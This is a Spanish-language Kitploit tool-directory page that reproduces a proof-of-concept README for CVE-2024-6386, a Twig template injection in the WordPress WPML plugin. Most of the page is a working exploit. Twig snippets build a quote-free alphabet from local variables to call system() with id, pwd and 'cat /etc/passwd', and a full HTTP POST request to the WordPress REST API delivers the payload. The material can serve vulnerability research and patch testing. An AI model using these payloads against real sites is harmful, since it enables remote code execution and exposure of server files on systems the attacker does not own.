Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-6386 — Investigación y PoC para CVE-2024-6386 | Kitploit
Herramientas/GitHubGitHub/argendo/cve-2024-6386
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubargendo/cve-2024-6386

CVE-2024-6386

Investigación y PoC para CVE-2024-6386

Ver Repositorio
510hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-6386 - RCE via Twig SSTI en WPML

PoC

PoC en Python+Selenium

Investigación detallada en ruso: CVE-2024-6386

Ejemplo de PoC

CVSS

Puntuación base: 9.9

Vector:  CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Resumen

En WPML tienes disponible el uso de Shortcodes de WordPress específicos que te permiten crear macros y también renderizar plantillas Twig. Por lo tanto, puedes obtener fácilmente un SSTI a partir de ello.

Cadena de explotación

SSTI

Por ejemplo, creemos un shortcode para explotar SSTI:

Descargar herramienta
root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]

En este caso obtendremos 4 como resultado de renderizar nuestro shortcode.

RCE

Debido a que WordPress codifica todo tipo de comillas a HTML, no podemos usar payloads típicos, como:

root@kitploit:~
{{['id']|filter('system')}}

No obstante, podemos modificar este payload para llamar a comandos del SO a partir de variables-letras como: (s = 's').

Para ello necesitamos llamar a algunas variables locales como:

  • css_classes
  • languages

La primera nos devolverá una cadena: wpml-ls-statics-shortcode_actions wpml-ls. La segunda devuelve un objeto Array de idiomas.

Con ayuda de esto podemos extraer los símbolos que necesitamos y crear nuestro propio alfabeto.

Así que aquí hacemos un alfabeto: [<espacio> ,a, c, i, d, s, y, t, e, m, p, w ]

Y sí, debemos concatenar languages con un valor vacío para convertirlo en una cadena con el valor "Array".

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

Después de eso podemos concatenar nuestro alfabeto para formar payloads:

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

Explotación con Burp Suite

Comando

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

Resultado del listado

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com